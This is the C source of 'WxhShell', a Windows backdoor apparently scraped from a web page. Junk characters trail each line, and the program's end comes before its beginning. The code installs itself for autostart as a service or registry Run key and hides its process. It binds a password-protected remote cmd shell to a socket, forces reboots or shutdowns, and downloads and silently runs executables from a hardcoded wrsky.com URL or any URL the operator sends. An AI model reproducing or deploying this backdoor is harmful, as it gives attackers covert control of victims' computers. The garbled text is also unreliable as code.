    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =Bc{0p*  
    if(Boot(SHUTDOWN)) LiFR7\z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ea @ H  
    else { 7;@YR  
    closesocket(wsh); Q)4[zStR#  
    ExitThread(0); GIYdI#0RC  
    } !wE% <Fh  
    break; >pZ _  
    } "LDNkw'  
  // 获取shell Mu:zWLM*M  
  case 's': { ?r(vXq\  
    CmdShell(wsh); &S*{a  
    closesocket(wsh); |O)ZjLx  
    ExitThread(0); rtJ@D2Hj^  
    break; ]U~{?K'g@j  
  } e`][zx  
  // 退出 Ff0V6j)ji  
  case 'x': { ([a;id  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nm\f$K>Pg  
    CloseIt(wsh); q("l?'  
    break; Am3j:|>*  
    } f%_$RdU  
  // 离开 Z%ZOAu&p  
  case 'q': { )CoFRqz<h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); um]N]cCD`  
    closesocket(wsh); nTsV>lQY,  
    WSACleanup(); WxD$k3U  
    exit(1); R~A))4<%%  
    break; 3ONWu  
        } i@P= *lLD  
  } "Ltp]nCR  
  } G+sB/l"  
~7j-OWz9  
  // 提示信息 o6 NmDv5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N1g;e?T ':  
} i)cG  
  } t:lDFv4s  
B ( h`~pb  
  return; hC{2LLu;n  
} q4@+Pi)  
f]2gjQHM  
// shell模块句柄 -$%~EY}  
int CmdShell(SOCKET sock) 9\Rk(dd  
{ wrCV&2CG  
STARTUPINFO si; <MO40MP  
ZeroMemory(&si,sizeof(si)); ;>>:7rdYt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H.n|zGQTB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b; ;y|H  
PROCESS_INFORMATION ProcessInfo; 6,CK1j+tZ  
char cmdline[]="cmd"; Yx. t+a-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #0*I|gfV  
  return 0; w U]8hkl?  
} p8F$vx4,  
V^.Z&7+E`_  
// 自身启动模式 2&s(:=  
int StartFromService(void) T|oDJ]\J  
{ /YwwG;1  
typedef struct Z^mIGy}  
{ %^I 7=  
  DWORD ExitStatus; ,-$%>Uv   
  DWORD PebBaseAddress; NJ}x qg  
  DWORD AffinityMask; <;b  
  DWORD BasePriority; 7~MWp4.   
  ULONG UniqueProcessId; ByWad@-6i  
  ULONG InheritedFromUniqueProcessId; tx3p, X  
}   PROCESS_BASIC_INFORMATION; yYk?K<ou  
T8T,G4Q  
PROCNTQSIP NtQueryInformationProcess; _mQ~[}y+?  
k ;vOPcw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |QH )A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z}VCiS0  
B%[#["Ol  
  HANDLE             hProcess; ;''S} ;  
  PROCESS_BASIC_INFORMATION pbi; \FO 4A  
}?GeU Xhy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2qj0iRH#N<  
  if(NULL == hInst ) return 0; 0j#$Swa  
xr)m8H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'HvW&~i(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HwMe^e;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |])Ko08*tE  
7V\M)r{q7  
  if (!NtQueryInformationProcess) return 0; r_a1oO:  
#eI` l`}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +(q r{G?  
  if(!hProcess) return 0; ,qgR+]?({  
7BA9zs392  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h7]>b'H  
).C>>1ZC  
  CloseHandle(hProcess); k|_ >I  
 mxvV~X %  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a5g1.6hF  
if(hProcess==NULL) return 0; 79lG~BGE  
?0E-Lac=  
HMODULE hMod; "0"8Rp&V|  
char procName[255]; = U~\iJ  
unsigned long cbNeeded; Ce3  
uUG&At  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V SH64  
FRE${~Xd  
  CloseHandle(hProcess); ?=Z0N&}[  
H&ZsMML/%  
if(strstr(procName,"services")) return 1; // 以服务启动 '&xRb*  
ZcN%F)htm  
  return 0; // 注册表启动 v".u#G'u  
} n-lDE}K9%B  
$J:~jY/J  
// 主模块 w\.z-6G  
int StartWxhshell(LPSTR lpCmdLine) <J1$s_^`  
{ vr>Rd{dm  
  SOCKET wsl; dNs<`2m  
BOOL val=TRUE; >\!>CuU  
  int port=0; }xzbg  
  struct sockaddr_in door; ~hA;ji|I  
oakm{I|k}  
  if(wscfg.ws_autoins) Install(); L@5g#mSl  
Zo(QU5m0  
port=atoi(lpCmdLine); 7\;gd4Ua1  
?K?v64[  
if(port<=0) port=wscfg.ws_port; flfE~_  
QW%BKF!  
  WSADATA data; [@t 6,g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3WdANR  
(V~PYf%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gI~jf- w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $3n@2 N`  
  door.sin_family = AF_INET; (kI@U![u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kIUb`b>B  
  door.sin_port = htons(port); ) /<\|mR  
B,dKpz;kFg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ODqWXw#  
closesocket(wsl); 6JL:p{RLi  
return 1; v:] AS:  
} K_~SJbl  
[R[Suf  
  if(listen(wsl,2) == INVALID_SOCKET) { F{aM6I  
closesocket(wsl); vV9q5Bj:  
return 1; YVLaO*( f  
} V0WFh=CM@  
  Wxhshell(wsl); wq&TU'O  
  WSACleanup(); ddD $ 4+  
Z)zmT%t  
return 0; [HhdeLOX  
gobqS+c  
} Z66@@?`  
S}*%l)vfR  
// 以NT服务方式启动 (Sg52zv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^E8eW  
{ ~\m|pxcj  
DWORD   status = 0; NLxsxomj  
  DWORD   specificError = 0xfffffff; Q:B:  
@v,qfT*k7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ot} E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sj@'C@oK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V<!E9/4rS  
  serviceStatus.dwWin32ExitCode     = 0; /\9X0a2h|E  
  serviceStatus.dwServiceSpecificExitCode = 0; l;g8_uyjv7  
  serviceStatus.dwCheckPoint       = 0; P}QuGy[  
  serviceStatus.dwWaitHint       = 0; uB:utg  
COK7 i^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u{ .UZTn  
  if (hServiceStatusHandle==0) return; x~tG[Y2F?  
r'q9N  
status = GetLastError(); ,2%>e"%  
  if (status!=NO_ERROR) )rs);Pl  
{ S|%f<zAtJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "syf@[tz7  
    serviceStatus.dwCheckPoint       = 0; /\KB*dX  
    serviceStatus.dwWaitHint       = 0; MW+]w~7_Q  
    serviceStatus.dwWin32ExitCode     = status; b|*A%?m  
    serviceStatus.dwServiceSpecificExitCode = specificError; s^$zO p9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lLT;V2=osX  
    return; m+Yj"RMx&  
  } =ITMAC\  
<zK9J?ZQW>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,9f$a n  
  serviceStatus.dwCheckPoint       = 0; @BN cIJk9  
  serviceStatus.dwWaitHint       = 0; q<b;xx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (k..ll p~  
} {^bs }($J  
+'x`rk  
// 处理NT服务事件,比如:启动、停止 xla9:*pPn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) toEmIa~o6  
{ *Gm%Dn  
switch(fdwControl) }cE,&n  
{ /tf}8d  
case SERVICE_CONTROL_STOP: \~zTc_  
  serviceStatus.dwWin32ExitCode = 0; ET`;TfqM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xXu/CGzG  
  serviceStatus.dwCheckPoint   = 0; >i4UU0m  
  serviceStatus.dwWaitHint     = 0; Rd5r~iT  
  { 7oDr`=q1]r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e}e\*BL  
  } xF_ Y7rw1w  
  return; -)aBS3  
case SERVICE_CONTROL_PAUSE: :r[`bqC;\*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *~|xj,md  
  break; QP?Z+P<  
case SERVICE_CONTROL_CONTINUE: .Tdl'y:..  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y@G5I>v  
  break; Px}#{fkS  
case SERVICE_CONTROL_INTERROGATE: mMw&{7b:  
  break; U&/Jh^Yy  
}; W&6P%0G/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B" wk:\zC  
} UGPD5wX?  
Tp`by 1s  
// 标准应用程序主函数 Kl$!_$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s"G6aM  
{ ^=wG#!#V"1  
- iS\3P.  
// 获取操作系统版本 quU%9m \S`  
OsIsNt=GetOsVer(); 1k\1U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3M(:}c  
|_%|  
  // 从命令行安装 UtiS?w6  
  if(strpbrk(lpCmdLine,"iI")) Install(); :D?%!Q 0  
N.u)Mbe   
  // 下载执行文件 pWB)N7x&  
if(wscfg.ws_downexe) { y^:g"|q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >'8.>f  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1DGVAIcD  
} ~/h P6*  
Ni GK| Z   
if(!OsIsNt) { 1z$;>+g<  
// 如果时win9x,隐藏进程并且设置为注册表启动 >0SF79-RE  
HideProc(); w'.ny<Pe  
StartWxhshell(lpCmdLine); Vl?R?K=`~J  
} OlFls 8#>  
else kN;l@>  
  if(StartFromService()) oHbEHS61  
  // 以服务方式启动 ' d1E~A  
  StartServiceCtrlDispatcher(DispatchTable); #Qy*zU#9  
else Sz"J-3b^  
  // 普通方式启动 gNzQ"W=  
  StartWxhshell(lpCmdLine); nKh._bvfX  
kkFE9:[-c&  
return 0; M>0=A  
} ][6$$ Lz  
g{f1JTJ7  
\A5cM\-  
VD +8j29  
=========================================== 6,0pkx&Nv  
4fZ$&)0&  
yc4mWB~gyU  
~|pVz/s|G  
v)+wr[Qs  
z(3mhMJY  
" yGH'|`  
ZqkP# ]+Y'  
#include <stdio.h> ^Y ~ ,s  
#include <string.h> =6q?XOM  
#include <windows.h> o'%F*>#v  
#include <winsock2.h> C&3#'/&  
#include <winsvc.h> $[[6N0}*:  
#include <urlmon.h> or ~o'  
B.K"1o  
#pragma comment (lib, "Ws2_32.lib") VE6T&fz`  
#pragma comment (lib, "urlmon.lib") z(>{"t<C  
#v')iR"  
#define MAX_USER   100 // 最大客户端连接数 {`KgyC W:  
#define BUF_SOCK   200 // sock buffer pR&cdO RsP  
#define KEY_BUFF   255 // 输入 buffer ||}|=Sz  
<Ky\ ^  
#define REBOOT     0   // 重启 s+tS4E?  
#define SHUTDOWN   1   // 关机 C%"h1zWE:  
o~gduNG#  
#define DEF_PORT   5000 // 监听端口 rr*",a"}m  
r[ ' T.yo  
#define REG_LEN     16   // 注册表键长度 0d:t$2~C  
#define SVC_LEN     80   // NT服务名长度 ay'= M`uO_  
#2I[F  
// 从dll定义API Fkz+Qz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R',|Jf=`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YurK@Tq7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |I7P 0JqP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X`:(-3T  
Xe*@`&nv@  
// wxhshell配置信息 R?>a UFM  
struct WSCFG { -t?S:9 [w  
  int ws_port;         // 监听端口 q!""pr<n  
  char ws_passstr[REG_LEN]; // 口令 ^Cyx "s't  
  int ws_autoins;       // 安装标记, 1=yes 0=no x7l)i!/$  
  char ws_regname[REG_LEN]; // 注册表键名 /!JpmI  
  char ws_svcname[REG_LEN]; // 服务名 JQsS=m7Et  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o]MQ)\ r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S]9:3~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 phbdV8$L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t_3)}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zScV 9,H1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h^~eTi;c]Q  
~0|~Fg  
}; k^]+I% ?Q  
Fmt5"3B  
// default Wxhshell configuration \@['V   
struct WSCFG wscfg={DEF_PORT, rd0BvQ9TK  
    "xuhuanlingzhe", l8GziM{lp  
    1, \?GUGs  
    "Wxhshell", T!pWU*aB  
    "Wxhshell", A]BG*  
            "WxhShell Service", vV#Jl) A  
    "Wrsky Windows CmdShell Service", +tdt>)a  
    "Please Input Your Password: ", /Rx%}~x/m  
  1, 11X-X  
  "http://www.wrsky.com/wxhshell.exe", y$*Tbzp  
  "Wxhshell.exe" &>@nW!n u  
    }; /%Rz`}  
g*- K!X6l  
// 消息定义模块 -YA1Uk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kdx?s;i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,, ]y 8P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tV*g1)'zX  
char *msg_ws_ext="\n\rExit."; }.o rfW  
char *msg_ws_end="\n\rQuit."; zL3~,z/o  
char *msg_ws_boot="\n\rReboot..."; %nF6n:|:  
char *msg_ws_poff="\n\rShutdown..."; \[]36|$LS  
char *msg_ws_down="\n\rSave to "; :8E(pq|1PB  
kd|@.  
char *msg_ws_err="\n\rErr!"; xlgN}M  
char *msg_ws_ok="\n\rOK!"; &{x5 |$SD  
#?!)-Q%  
char ExeFile[MAX_PATH]; n|SsV  
int nUser = 0; @w,-T@nAW  
HANDLE handles[MAX_USER]; I@+dE V`Lf  
int OsIsNt; /Kwo^Q{  
&UbNp8h  
SERVICE_STATUS       serviceStatus; M`Y~IG}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +X cB5S>  
q^( [ & +  
// 函数声明 K}`.?6O  
int Install(void); kIrME:  
int Uninstall(void); ut& RKr3  
int DownloadFile(char *sURL, SOCKET wsh); +S^Uw'L$=T  
int Boot(int flag); G5"UhnOD'  
void HideProc(void); e]uk}#4  
int GetOsVer(void); U,[vfSDGr  
int Wxhshell(SOCKET wsl); rbO9NRg>  
void TalkWithClient(void *cs); yew9bn0a=  
int CmdShell(SOCKET sock); B\KvKT|\  
int StartFromService(void); 3UslVj1u  
int StartWxhshell(LPSTR lpCmdLine); 1f~unb\Gg  
o`M7:8G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xy_+L_h^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z7K ;~*  
 #XQEfa  
// 数据结构和表定义 C[&  \Xq  
SERVICE_TABLE_ENTRY DispatchTable[] = EtcAU}9  
{ _;v4 ]MU  
{wscfg.ws_svcname, NTServiceMain}, k/j]*~"  
{NULL, NULL} r<UZ\d -  
}; Xv]O1fcI  
fk#SD "iJ  
// 自我安装 HS="t3  
int Install(void) TN.mNl%  
{ 1 q}iUnR  
  char svExeFile[MAX_PATH]; tP"C >#LO  
  HKEY key; xo6-Y=c8  
  strcpy(svExeFile,ExeFile); Iy8Ehwejd  
\uQ(-ji  
// 如果是win9x系统,修改注册表设为自启动 B3c rms['  
if(!OsIsNt) { DFVaZN?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r*&gd|sn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \[B5j0vV,  
  RegCloseKey(key); &P&M6v+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zh{Pzyp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 80![aj}z4G  
  RegCloseKey(key); -% 5*c61  
  return 0; (pREo/T  
    } < :<E~anH  
  } 9Fv1D  
} i0v;mc  
else { X4Q ?]{  
] 8+!  
// 如果是NT以上系统,安装为系统服务 2?z3s|+[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HP:ee+n  
if (schSCManager!=0) 1bYc^(z0  
{ ] RN&s  
  SC_HANDLE schService = CreateService C6M|A3^T  
  ( ^0pd- n@pn  
  schSCManager, VI74{='=  
  wscfg.ws_svcname, :JV= Kt  
  wscfg.ws_svcdisp, Owo2DsT t  
  SERVICE_ALL_ACCESS, |k^'}n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =v:vc~G6  
  SERVICE_AUTO_START, }NMA($@A  
  SERVICE_ERROR_NORMAL, DJS0;!# |O  
  svExeFile, ;Lu%v%BM  
  NULL, [_G_Wl'#8  
  NULL, pBL,kqYNA>  
  NULL, ^Q pP'  
  NULL, g`d5OHvO o  
  NULL )c^Rc9e/  
  ); zFN:C()ig  
  if (schService!=0) /$|C s  
  { AT<K>&)  
  CloseServiceHandle(schService); M`q>i B  
  CloseServiceHandle(schSCManager); z4HIDb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eY-W5TgU  
  strcat(svExeFile,wscfg.ws_svcname); Xjw> Qws  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &-:ZM0Fl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WUvrC  
  RegCloseKey(key); Mi%i_T^i  
  return 0; COH0aNp;  
    } @mSdksB/L  
  } X#EMmB!  
  CloseServiceHandle(schSCManager); ONH!ms(kb  
} AME3hA  
} s{(aW5$!s  
cV\(Z6u  
return 1; xdFm-_\-  
} |F=!0Id<  
YiJnh47  
// 自我卸载 6NPCp/  
int Uninstall(void) MCZTeYnx  
{ !g  #  
  HKEY key; <1YINkRz  
:1^ R$0d  
if(!OsIsNt) { $A;jl`ng  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UOJx-o!c?  
  RegDeleteValue(key,wscfg.ws_regname); B8F.}M-!  
  RegCloseKey(key); n sKl3}uU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [<\k  
  RegDeleteValue(key,wscfg.ws_regname);  0w>V![  
  RegCloseKey(key); `O?Kftv*  
  return 0; V7U&8UPb  
  } "1FPe63\*O  
} DzydS=`w  
} |`+kZ-M*  
else { ]v(8i3P84  
0x7F~%%2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V(I!HT5.W  
if (schSCManager!=0) x$Y44v'>  
{ 2BZYC5jy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sD H^l)4h  
  if (schService!=0) ROlef;/A  
  {  s6bILz-u  
  if(DeleteService(schService)!=0) { ~b}a|K  
  CloseServiceHandle(schService); K1>X%f^  
  CloseServiceHandle(schSCManager); 5\gL+ qM0  
  return 0; GqMa|8j  
  } c7UmR?m  
  CloseServiceHandle(schService); -^LUa]"E  
  } xP#vAR  
  CloseServiceHandle(schSCManager); m5m}RWZ#  
} B>Tfyo  
} \UA\0p  
sL" h  
return 1; @ol=gBU  
} 2l]*><q|  
t5t,(^;f  
// 从指定url下载文件 3*)<Y}Tc  
int DownloadFile(char *sURL, SOCKET wsh) w^OV;gp  
{ Y)#x(s?t  
  HRESULT hr; R % [ZQ K  
char seps[]= "/"; ~A@T_ *0  
char *token; _&V%idz!0  
char *file; &.XlXihnt  
char myURL[MAX_PATH]; yHhx- `  
char myFILE[MAX_PATH]; Le;;Yd}f  
/kV3[Rw+  
strcpy(myURL,sURL); z"#iG&>a,  
  token=strtok(myURL,seps); )3K#${p  
  while(token!=NULL) .c__<I<G<  
  { E Q 'L"  
    file=token; )4:K@  
  token=strtok(NULL,seps); qTSyy=  
  } gZA[Sq  
sB!#`kh  
GetCurrentDirectory(MAX_PATH,myFILE); L7i2is  
strcat(myFILE, "\\"); ;iT@41)7  
strcat(myFILE, file); 8(-V pU  
  send(wsh,myFILE,strlen(myFILE),0); ffoL]u\  
send(wsh,"...",3,0); <A|X4;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YnM&t ;TX  
  if(hr==S_OK) w-iu/|}  
return 0; < z':_,  
else V"Cx5#\7C  
return 1; LLyw9y1  
kN7 J Z12  
} pH&*5=t}  
d*qb^C{'"  
// 系统电源模块 7 ~b=G  
int Boot(int flag) 7LEB ,bU  
{ J)7\k$D  
  HANDLE hToken; p7{2/m j  
  TOKEN_PRIVILEGES tkp; Lk%`hsv  
CFE  ubEb  
  if(OsIsNt) { &T.d"i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G47(LE"2b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !8g419Yg  
    tkp.PrivilegeCount = 1; hcn $uyP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?^Gi;d5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ')R+Z/hG.  
if(flag==REBOOT) { w8=&rzr8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vn&{yCm3  
  return 0; cp1-eR_&  
} /80H.|8O  
else { 5(wmy-x\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @!p bR(8  
  return 0; Ibf~gr(j  
} 8y:/!rRN  
  } ;x<5F+b  
  else { mJxr"cwHl  
if(flag==REBOOT) { (vX) <Z !  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zv]'9,cbk  
  return 0; / esdtH$=  
} 0Q7teXRM  
else { ( p(/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yMG(FAyu  
  return 0; z*V 8l*  
} (Q5rOrA"  
} 9sP;s^#t7U  
j_I[k8z  
return 1; In[rxT~K}Q  
} BiY-u/bH9a  
dU}Cb?]7s  
// win9x进程隐藏模块 mkE_ a>  
void HideProc(void) Sp7VH+  
{ R$XHjb)  
WCTmf8f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e{Q;,jsh  
  if ( hKernel != NULL ) ai7R@~O:_k  
  { "D\>oFu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); - -fRhN>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bd'X~Vj<  
    FreeLibrary(hKernel); ?"F9~vx&G  
  } ol0i^d*9F  
^ps6\>=0cW  
return; @4t_cxmD  
} 7vo8lnQ{  
{EfA#{x  
// 获取操作系统版本 QdIx@[+WOq  
int GetOsVer(void) _sb~eB~<(  
{ i:a*6b.U@N  
  OSVERSIONINFO winfo; zif&;)wV/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c"O4=[N: ;  
  GetVersionEx(&winfo); a(J@]X>'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dhX$b!DA  
  return 1; S j ly]  
  else  /!#A'#Z  
  return 0; <ni_78  
} c;?J  
v9\U2j  
// 客户端句柄模块 3F?7oMNIh  
int Wxhshell(SOCKET wsl) 0BwxPD#6bv  
{ p4F%FS:`  
  SOCKET wsh; xH\!j  
  struct sockaddr_in client; ["O_ Phb|  
  DWORD myID; ZveNe~D7C  
`q9n`h1  
  while(nUser<MAX_USER) 8J#U=qYei  
{ k vpkWD;  
  int nSize=sizeof(client); ZaBmH|k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qzj.N$9]  
  if(wsh==INVALID_SOCKET) return 1; yhkKakg,)  
"ejsz&n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f,|g|&C  
if(handles[nUser]==0) A`--*$8\  
  closesocket(wsh); cR{F|0X  
else Z%Pv,h'Q  
  nUser++; zfD@/kU  
  } &cWC&Ws"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GlHP`&;UH  
mm9uhlV8  
  return 0; ?8do4gT+1  
} NXk~o!D  
-Qn l)JB  
// 关闭 socket 4VHWoN"U  
void CloseIt(SOCKET wsh) VA>0Y  
{ p,V%wGM  
closesocket(wsh); k|czQ"vaI  
nUser--; )oALB vX  
ExitThread(0); =]r2;014  
} =H`yzGt  
_dY5qW1p  
// 客户端请求句柄 e-Oz`qW~  
void TalkWithClient(void *cs) xnC:?d  
{ @Di!~e6  
VKtlAfXy~  
  SOCKET wsh=(SOCKET)cs; b^STegz  
  char pwd[SVC_LEN]; YQ@2p?4m  
  char cmd[KEY_BUFF]; p"FWAC!  
char chr[1]; <O1os"w  
int i,j; V|hwT^h  
`W>Sss  
  while (nUser < MAX_USER) { y"Pd>61h  
 ZC%;5O`  
if(wscfg.ws_passstr) { `g_r<EY8/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  m^\&v0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <-mhz`^  
  //ZeroMemory(pwd,KEY_BUFF); v}J0j  
      i=0; fP[S.7F+No  
  while(i<SVC_LEN) { 2FW"uYA;6  
2z.~K&+x  
  // 设置超时 )QW hzY  
  fd_set FdRead; a)4%sX*I  
  struct timeval TimeOut; .EPv4[2%F8  
  FD_ZERO(&FdRead); `T+w5ONn  
  FD_SET(wsh,&FdRead); Uqz.Q\A  
  TimeOut.tv_sec=8; ?yxQs=&-q~  
  TimeOut.tv_usec=0; )@p?4XsT4J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .R@s6}C`}=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aZ|?i }  
M KX+'p\w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LzJ`@0RrX  
  pwd=chr[0]; s q;!5qK  
  if(chr[0]==0xd || chr[0]==0xa) { S[gACEZ =  
  pwd=0; 3~Lsa"/  
  break; c5|sda{  
  } Vo6+|ztk|  
  i++; vsyg u  
    } n=PfV3B  
HYmUD74FR  
  // 如果是非法用户,关闭 socket lu6iU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C(9"59>{]y  
} P^# 4m  
qco uZO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Oo f/q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \4LTViY]  
Fg 8lX9L  
while(1) { ^Vhl@  
CPL,QVO9  
  ZeroMemory(cmd,KEY_BUFF); &S`g&  
pGfGGY>i%  
      // 自动支持客户端 telnet标准   #?k</~s6M`  
  j=0; |d z2Drc  
  while(j<KEY_BUFF) { 0WfnX>(C7R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eM 5#L,Y{  
  cmd[j]=chr[0]; Vhh=GJ  
  if(chr[0]==0xa || chr[0]==0xd) { 2X[oge0@  
  cmd[j]=0; eX>*}pI  
  break; Gov.;hy  
  } qo$ls\[X  
  j++; &XdTY +  
    } Q-!gO  
hkyO_ns  
  // 下载文件 9J~\.:jH-  
  if(strstr(cmd,"http://")) { j:qexhtho  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^%!SKhRIK  
  if(DownloadFile(cmd,wsh)) 9pPLOXr ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [= BMvP5  
  else WF-jy7+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r{t6Vv2J  
